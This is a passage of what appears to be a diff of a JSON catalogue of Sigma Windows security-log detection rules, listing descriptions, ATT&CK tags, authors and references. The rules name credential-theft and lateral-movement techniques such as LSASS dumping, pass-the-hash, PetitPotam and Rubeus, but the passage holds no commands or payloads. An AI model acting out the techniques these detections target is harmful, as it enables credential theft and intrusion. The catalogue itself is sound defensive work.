Zinniatullin, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via Stdin in Scripts", - "uuid": "80b708f3-d034-40e4-a6c8-d23b7a7db3d1", - "value": "Invoke-Obfuscation Via Stdin", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_stdin_services_security.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/12", - "filename": "win_security_invoke_obfuscation_via_stdin_services_security.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", - "uuid": "1a0a2ff1-611b-4dac-8216-8a7b47c618a6", - "value": "Invoke-Obfuscation Via Use Clip", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_clip_services_security.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/09", - "filename": "win_security_invoke_obfuscation_via_use_clip_services_security.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", - "uuid": "9b8d9203-4e0f-4cd9-bb06-4cc4ea6d0e9a", - "value": "Invoke-Obfuscation Via Use MSHTA", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_mshta_services_security.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/09", - "filename": "win_security_invoke_obfuscation_via_use_mshta_services_security.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", - "uuid": "cd0f7229-d16f-42de-8fe3-fba365fbcb3a", - "value": "Invoke-Obfuscation Via Use Rundll32", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_rundll32_services_security.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/09", - "filename": "win_security_invoke_obfuscation_via_use_rundll32_services_security.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", - "uuid": "4c54ba8f-73d2-4d40-8890-d9cf1dca3d30", - "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_var_services_security.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/13", - "filename": "win_security_invoke_obfuscation_via_var_services_security.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the mount of ISO images on an endpoint", - "uuid": "0248a7bc-8a9a-4cd8-a57e-3ae8e073a073", - "value": "ISO Image Mount", - "meta": { - "refs": [ - "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore", - "https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages", - "https://twitter.com/MsftSecIntel/status/1257324139515269121", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_iso_mount.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1566.001" - ], - "creation_date": "2021/05/29", - "filename": "win_security_iso_mount.yml", - "author": "Syed Hasan (@syedhasan009)", - "level": "medium", - "falsepositive": [ - "Software installation ISO files" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes", - "uuid": "52d8b0c6-53d6-439a-9e41-52ad442ad9ad", - "value": "First Time Seen Remote Named Pipe", - "meta": { - "refs": [ - "https://twitter.com/menasec1/status/1104489274387451904", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lm_namedpipe.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ], - "creation_date": "2019/04/03", - "filename": "win_security_lm_namedpipe.yml", - "author": "Samir Bousseaden", - "level": "high", - "falsepositive": [ - "Update the excluded named pipe to filter out any newly observed legit named pipe" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "The attacker might use LOLBAS nltest.exe for discovery of domain controllers, domain trusts, parent domain and the current user permissions.", - "uuid": "eeb66bbb-3dde-4582-815a-584aee9fe6d1", - "value": "Correct Execution of Nltest.exe", - "meta": { - "refs": [ - "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/nltest.htm", - "https://attack.mitre.org/software/S0359/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lolbas_execution_of_nltest.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1482", - "attack.t1018", - "attack.t1016" - ], - "creation_date": "2021/10/04", - "filename": "win_security_lolbas_execution_of_nltest.yml", - "author": "Arun Chauhan", - "level": "high", - "falsepositive": [ - "Red team activity", - "Rare legitimate use by an administrator" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects potential mimikatz-like tools accessing LSASS from non system account", - "uuid": "962fe167-e48d-4fd6-9974-11e5b9a5d6d1", - "value": "LSASS Access from Non System Account", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-170105221010.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lsass_access_non_system_account.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2019/06/20", - "filename": "win_security_lsass_access_non_system_account.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects well-known credential dumping tools execution via service execution events", - "uuid": "f0d1feba-4344-4ca9-8121-a6c97bd6df52", - "value": "Credential Dumping Tools Service Execution", - "meta": { - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_creddumper.yml" - ], - "tags": [ - "attack.credential_access", - "attack.execution", - "attack.t1003.001", - "attack.t1003.002", - "attack.t1003.004", - "attack.t1003.005", - "attack.t1003.006", - "attack.t1569.002", - "attack.s0005" - ], - "creation_date": "2017/03/05", - "filename": "win_security_mal_creddumper.yml", - "author": "Florian Roth, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", - "level": "high", - "falsepositive": [ - "Legitimate Administrator using credential dumping tool for password recovery" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects known malicious service installs that only appear in cases of lateral movement, credential dumping, and other suspicious activities.", - "uuid": "cb062102-587e-4414-8efa-dbe3c7bf19c6", - "value": "Malicious Service Installations", - "meta": { - "refs": [ - "https://awakesecurity.com/blog/threat-hunting-for-paexec/", - "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", - "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_service_installs.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1003", - "car.2013-09-005", - "attack.t1543.003", - "attack.t1569.002" - ], - "creation_date": "2017/03/27", - "filename": "win_security_mal_service_installs.yml", - "author": "Florian Roth, Daniil Yugoslavskiy, oscd.community (update)", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects wceaux.dll access while WCE pass-the-hash remote command execution on source host", - "uuid": "1de68c67-af5c-4097-9c85-fe5578e09e67", - "value": "WCE wceaux.dll Access", - "meta": { - "refs": [ - "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", - "https://jpcertcc.github.io/ToolAnalysisResultSheet", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_wceaux_dll.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003", - "attack.s0005" - ], - "creation_date": "2017/06/14", - "filename": "win_security_mal_wceaux_dll.yml", - "author": "Thomas Patzke", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Alerts on Metasploit host's authentications on the domain.", - "uuid": "72124974-a68b-4366-b990-d30e0b2a190d", - "value": "Metasploit SMB Authentication", - "meta": { - "refs": [ - "https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/lib/rex/proto/smb/client.rb", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_metasploit_authentication.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ], - "creation_date": "2020/05/06", - "filename": "win_security_metasploit_authentication.yml", - "author": "Chakib Gzenayi (@Chak092), Hosni Mribah", - "level": "high", - "falsepositive": [ - "Linux hostnames composed of 16 characters." - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation", - "uuid": "6fb63b40-e02a-403e-9ffd-3bcc1d749442", - "value": "Metasploit Or Impacket Service Installation Via SMB PsExec", - "meta": { - "refs": [ - "https://bczyz1.github.io/2021/01/30/psexec.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_metasploit_or_impacket_smb_psexec_service_install.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002", - "attack.t1570", - "attack.execution", - "attack.t1569.002" - ], - "creation_date": "2021/01/21", - "filename": "win_security_metasploit_or_impacket_smb_psexec_service_install.yml", - "author": "Bartlomiej Czyz, Relativity", - "level": "high", - "falsepositive": [ - "Possible, different agents with a 8 character binary and a 4, 8 or 16 character service name" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation", - "uuid": "ecbc5e16-58e0-4521-9c60-eb9a7ea4ad34", - "value": "Meterpreter or Cobalt Strike Getsystem Service Installation", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_meterpreter_or_cobaltstrike_getsystem_service_install.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1134.001", - "attack.t1134.002" - ], - "creation_date": "2019/10/26", - "filename": "win_security_meterpreter_or_cobaltstrike_getsystem_service_install.yml", - "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", - "level": "critical", - "falsepositive": [ - "Highly unlikely" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects NetNTLM downgrade attack", - "uuid": "d3abac66-f11c-4ed0-8acb-50cc29c97eed", - "value": "NetNTLM Downgrade Attack", - "meta": { - "refs": [ - "https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_net_ntlm_downgrade.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001", - "attack.t1112" - ], - "creation_date": "2018/03/20", - "filename": "win_security_net_ntlm_downgrade.yml", - "author": "Florian Roth, wagga", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects unusual processes accessing desktop.ini remotely over network share, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.", - "uuid": "35bc7e28-ee6b-492f-ab04-da58fcf6402e", - "value": "Windows Network Access Suspicious desktop.ini Action", - "meta": { - "refs": [ - "https://isc.sans.edu/forums/diary/Desktopini+as+a+postexploitation+tool/25912/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_net_share_obj_susp_desktop_ini.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.009" - ], - "creation_date": "2021/12/06", - "filename": "win_security_net_share_obj_susp_desktop_ini.yml", - "author": "Tim Shelton (HAWK.IO)", - "level": "medium", - "falsepositive": [ - "Read only access list authority" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects possible bypass EDR and SIEM via abnormal user account name.", - "uuid": "cfeed607-6aa4-4bbd-9627-b637deb723c8", - "value": "New or Renamed User Account with '$' in Attribute 'SamAccountName'", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_new_or_renamed_user_account_with_dollar_sign.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036" - ], - "creation_date": "2019/10/25", - "filename": "win_security_new_or_renamed_user_account_with_dollar_sign.yml", - "author": "Ilyas Ochkov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "This event is generated when an authenticated user who is not allowed to log on remotely attempts to connect to this computer through Remote Desktop.\nOften, this event can be generated by attackers when searching for available windows servers in the network.\n", - "uuid": "8e5c03fa-b7f0-11ea-b242-07e0576828d9", - "value": "Denied Access To Remote Desktop", - "meta": { - "refs": [ - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4825", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_not_allowed_rdp_access.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.001" - ], - "creation_date": "2020/06/27", - "filename": "win_security_not_allowed_rdp_access.yml", - "author": "Pushkarev Dmitry", - "level": "medium", - "falsepositive": [ - "Valid user was not added to RDP group" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects successful logon with logon type 9 (NewCredentials) which matches the Overpass the Hash behavior of e.g Mimikatz's sekurlsa::pth module.", - "uuid": "192a0330-c20b-4356-90b6-7b7049ae0b87", - "value": "Successful Overpass the Hash Attempt", - "meta": { - "refs": [ - "https://cyberwardog.blogspot.de/2017/04/chronicles-of-threat-hunter-hunting-for.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_overpass_the_hash.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.s0002", - "attack.t1550.002" - ], - "creation_date": "2018/02/12", - "filename": "win_security_overpass_the_hash.yml", - "author": "Roberto Rodriguez (source), Dominik Schaudel (rule)", - "level": "high", - "falsepositive": [ - "Runas command-line tool using /netonly parameter" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the attack technique pass the hash which is used to move laterally inside the network", - "uuid": "8eef149c-bd26-49f2-9e5a-9b00e3af499b", - "value": "Pass the Hash Activity 2", - "meta": { - "refs": [ - "https://github.com/iadgov/Event-Forwarding-Guidance/tree/master/Events", - "https://blog.binarydefense.com/reliably-detecting-pass-the-hash-through-event-log-analysis", - "https://blog.stealthbits.com/how-to-detect-pass-the-hash-attacks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_pass_the_hash_2.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1550.002" - ], - "creation_date": "2019/06/14", - "filename": "win_security_pass_the_hash_2.yml", - "author": "Dave Kennedy, Jeff Warren (method) / David Vassallo (rule)", - "level": "medium", - "falsepositive": [ - "Administrator activity" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detect PetitPotam coerced authentication activity.", - "uuid": "1ce8c8a3-2723-48ed-8246-906ac91061a6", - "value": "Possible PetitPotam Coerce Authentication Attempt", - "meta": { - "refs": [ - "https://github.com/topotam/PetitPotam", - "https://github.com/splunk/security_content/blob/0dd6de32de2118b2818550df9e65255f4109a56d/detections/endpoint/petitpotam_network_share_access_request.yml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_network_share.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1187" - ], - "creation_date": "2021/09/02", - "filename": "win_security_petitpotam_network_share.yml", - "author": "Mauricio Velazco, Michael Haag", - "level": "high", - "falsepositive": [ - "Unknown. Feedback welcomed." - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detect suspicious Kerberos TGT requests.\nOnce an attacer obtains a computer certificate by abusing Active Directory Certificate Services in combination with PetitPotam, the next step would be to leverage the certificate for malicious purposes.\nOne way of doing this is to request a Kerberos Ticket Granting Ticket using a tool like Rubeus.\nThis request will generate a 4768 event with some unusual fields depending on the environment.\nThis analytic will require tuning, we recommend filtering Account_Name to the Domain Controller computer accounts.\n", - "uuid": "6a53d871-682d-40b6-83e0-b7c1a6c4e3a5", - "value": "PetitPotam Suspicious Kerberos TGT Request", - "meta": { - "refs": [ - "https://github.com/topotam/PetitPotam", - "https://isc.sans.edu/forums/diary/Active+Directory+Certificate+Services+ADCS+PKI+domain+admin+vulnerability/27668/", - "https://github.com/splunk/security_content/blob/develop/detections/endpoint/petitpotam_suspicious_kerberos_tgt_request.yml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_susp_tgt_request.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1187" - ], - "creation_date": "2021/09/02", - "filename": "win_security_petitpotam_susp_tgt_request.yml", - "author": "Mauricio Velazco, Michael Haag", - "level": "high", - "falsepositive": [ - "False positives are possible if the environment is using certificates for authentication. We recommend filtering Account_Name to the Domain Controller computer accounts." - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects DCShadow via create new SPN", - "uuid": "32e19d25-4aed-4860-a55a-be99cb0bf7ed", - "value": "Possible DC Shadow Attack", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/blob/ec5bb710499caae6667c7f7311ca9e92c03b9039/rules/windows/builtin/win_dcsync.yml", - "https://twitter.com/gentilkiwi/status/1003236624925413376", - "https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2", - "https://blog.alsid.eu/dcshadow-explained-4510f52fc19d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_possible_dc_shadow.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1207" - ], - "creation_date": "2019/10/25", - "filename": "win_security_possible_dc_shadow.yml", - "author": "Ilyas Ochkov, oscd.community, Chakib Gzenayi (@Chak092), Hosni Mribah", - "level": "medium", - "falsepositive": [ - "Valid on domain controllers; exclude known DCs" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects powershell script installed as a Service", - "uuid": "2a926e6a-4b81-4011-8a96-e36cc8c04302", - "value": "PowerShell Scripts Installed as Services", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_powershell_script_installed_as_service.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002" - ], - "creation_date": "2020/10/06", - "filename": "win_security_powershell_script_installed_as_service.yml", - "author": "oscd.community, Natalia Shornikova", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects access to a protected_storage service over the network. Potential abuse of DPAPI to extract domain backup keys from Domain Controllers", - "uuid": "45545954-4016-43c6-855e-eae8f1c369dc", - "value": "Protected Storage Service Access", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-190620024610.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_protected_storage_service_access.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ], - "creation_date": "2019/08/10", - "filename": "win_security_protected_storage_service_access.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects rare scheduled tasks creations that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious code", - "uuid": "b0d77106-7bb0-41fe-bd94-d1752164d066", - "value": "Rare Schtasks Creations", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rare_schtasks_creations.yml" - ], - "tags": [ - "attack.execution", - "attack.privilege_escalation", - "attack.persistence", - "car.2013-08-001", - "attack.t1053.005" - ], - "creation_date": "2017/03/23", - "filename": "win_security_rare_schtasks_creations.yml", - "author": "Florian Roth", - "level": "low", - "falsepositive": [ - "Software installation", - "Software updates" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of a scanner by zerosum0x0 that discovers targets vulnerable to CVE-2019-0708 RDP RCE aka BlueKeep", - "uuid": "8400629e-79a9-4737-b387-5db940ab2367", - "value": "Scanner PoC for CVE-2019-0708 RDP RCE Vuln", - "meta": { - "refs": [ - "https://twitter.com/AdamTheAnalyst/status/1134394070045003776", - "https://github.com/zerosum0x0/CVE-2019-0708", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_bluekeep_poc_scanner.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1210", - "car.2013-07-002" - ], - "creation_date": "2019/06/02", - "filename": "win_security_rdp_bluekeep_poc_scanner.yml", - "author": "Florian Roth (rule), Adam Bradbury (idea)", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "RDP login with localhost source address may be a tunnelled login", - "uuid": "51e33403-2a37-4d66-a574-1fda1782cc31", - "value": "RDP Login from Localhost", - "meta": { - "refs": [ - "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_localhost_login.yml" - ], - "tags": [ - "attack.lateral_movement", - "car.2013-07-002", - "attack.t1021.001" - ], - "creation_date": "2019/01/28", - "filename": "win_security_rdp_localhost_login.yml", - "author": "Thomas Patzke", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects svchost hosting RDP termsvcs communicating with the loopback address", - "uuid": "5bed80b6-b3e8-428e-a3ae-d3c757589e41", - "value": "RDP over Reverse SSH Tunnel WFP", - "meta": { - "refs": [ - "https://twitter.com/SBousseaden/status/1096148422984384514", - "https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/44fbe85f72ee91582876b49678f9a26292a155fb/Command%20and%20Control/DE_RDP_Tunnel_5156.evtx", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_reverse_tunnel.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.lateral_movement", - "attack.t1090.001", - "attack.t1090.002", - "attack.t1021.001", - "car.2013-07-002" - ], - "creation_date": "2019/02/16", - "filename": "win_security_rdp_reverse_tunnel.yml", - "author": "Samir Bousseaden", - "level": "high", - "falsepositive": [ - "Programs that connect locally to the RDP port" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects potential use of Rubeus via registered new trusted logon process", - "uuid": "12e6d621-194f-4f59-90cc-1959e21e69f7", - "value": "Register new Logon Process by Rubeus", - "meta": { - "refs": [ - "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_register_new_logon_process_by_rubeus.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.privilege_escalation", - "attack.t1558.003" - ], - "creation_date": "2019/10/24", - "filename": "win_security_register_new_logon_process_by_rubeus.yml", - "author": "Roberto Rodriguez (source), Ilyas Ochkov (rule), oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects basic PowerShell Remoting (WinRM) by monitoring for network inbound connections to ports 5985 OR 5986", - "uuid": "13acf386-b8c6-4fe0-9a6e-c4756b974698", - "value": "Remote PowerShell Sessions Network Connections (WinRM)", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_remote_powershell_session.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/09/12", - "filename": "win_security_remote_powershell_session.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g", - "level": "high", - "falsepositive": [ - "Legitimate use of remote PowerShell execution" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects possible Kerberos Replay Attack on the domain controllers when \"KRB_AP_ERR_REPEAT\" Kerberos response is sent to the client", - "uuid": "5a44727c-3b85-4713-8c44-4401d5499629", - "value": "Replay Attack Detected", - "meta": { - "refs": [ - "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", - "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4649", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_replay_attack_detected.yml" - ], - "tags": "No established tags", - "creation_date": "2022/10/14", - "filename": "win_security_replay_attack_detected.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the renaming of an existing computer account to a account name that doesn't contain a $ symbol as seen in attacks against CVE-2021-42287", - "uuid": "45eb2ae2-9aa2-4c3a-99a5-6e5077655466", - "value": "Suspicious Computer Account Name Change CVE-2021-42287", - "meta": { - "refs": [ - "https://medium.com/@mvelazco/hunting-for-samaccountname-spoofing-cve-2021-42287-and-domain-controller-impersonation-f704513c8a45", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_samaccountname_spoofing_cve_2021_42287.yml" - ], - "tags": "No established tags", - "creation_date": "2021/12/22", - "filename": "win_security_samaccountname_spoofing_cve_2021_42287.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects handles requested to SAM registry hive", - "uuid": "f8748f2c-89dc-4d95-afb0-5a2dfdbad332", - "value": "SAM Registry Hive Handle Request", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190725024610.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sam_registry_hive_handle_request.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1012", - "attack.credential_access", - "attack.t1552.002" - ], - "creation_date": "2019/08/12", - "filename": "win_security_sam_registry_hive_handle_request.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects scheduled task deletion events. Scheduled tasks are likely to be deleted if not used for persistence. Malicious Software often creates tasks directly under the root node e.g. \\TASKNAME", - "uuid": "4f86b304-3e02-40e3-aa5d-e88a167c9617", - "value": "Scheduled Task Deletion", - "meta": { - "refs": [ - "https://twitter.com/matthewdunwoody/status/1352356685982146562", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4699", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scheduled_task_deletion.yml" - ], - "tags": [ - "attack.execution", - "attack.privilege_escalation", - "car.2013-08-001", - "attack.t1053.005" - ], - "creation_date": "2021/01/22", - "filename": "win_security_scheduled_task_deletion.yml", - "author": "David Strassegger, Tim Shelton", - "level": "low", - "falsepositive": [ - "Software installation" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects non-system users failing to get a handle of the SCM database.", - "uuid": "13addce7-47b2-4ca0-a98f-1de964d1d669", - "value": "SCM Database Handle Failure", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190826010110.html", - 